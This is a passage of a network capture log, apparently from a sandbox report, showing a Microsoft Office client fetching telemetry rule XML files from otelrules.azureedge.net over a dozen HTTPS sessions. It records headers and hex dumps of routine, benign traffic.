2024-11-01 12:43:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	62427	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:20 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:20 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: e9cefd19-301e-0052-64ca-2b65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124320Z-16dc884887bbfwjkhC1DFWyza800000000m0000000007khq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	62428	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:20 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:21 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 60e97882-101e-0065-7a28-2c4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124321Z-159b85dff8fbvrz4hC1DFW730c000000023g00000000adts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:21 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	62429	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:21 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:21 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:21 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 25664feb-801e-008c-6895-2a7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124321Z-159b85dff8fprglthC1DFW8zcg000000032g0000000030qa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:21 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	62430	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:21 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:21 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:21 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 7a2d36fe-d01e-00ad-7e02-2ce942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124321Z-176bd8f9bc5nnctdhC1DFWuuh800000000qg000000009t7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:21 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	62431	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:21 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:21 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:21 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6c1a7e39-101e-00a2-7b09-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124321Z-16ccfc49897hshbrhC1DFW7g1c00000000m0000000008zgf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:21 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	62432	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:21 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:21 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:21 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: d548d899-c01e-00ad-0809-2ca2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124321Z-16ccfc49897bxnsthC1DFW5azc00000000sg0000000054vp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:21 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	62433	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:21 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:21 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:21 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: d7bbfeaf-901e-0015-7f28-2cb284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124321Z-176bd8f9bc56w2rshC1DFWd88n00000000xg000000009k48 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:21 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	62434	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:22 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:22 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:22 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: cce89326-d01e-0065-2b38-2bb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124322Z-16ccfc498979lfwnhC1DFW56w800000000tg000000001xex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:22 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	62435	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:22 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:22 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:22 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: c9775f7b-401e-0016-2424-2a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124322Z-159b85dff8f6x4jjhC1DFW7uqg00000002r000000000731c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:22 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	62436	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:22 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:22 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:22 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 1cb8ce88-301e-0033-7f09-2cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124322Z-16ccfc498978mvxwhC1DFWafzn00000000s0000000007853 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:22 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	62437	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:22 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:22 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:22 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 0da8e427-501e-0035-47d8-2ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124322Z-159b85dff8fdjprfhC1DFWuqh00000000200000000001fds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:22 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	62438	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
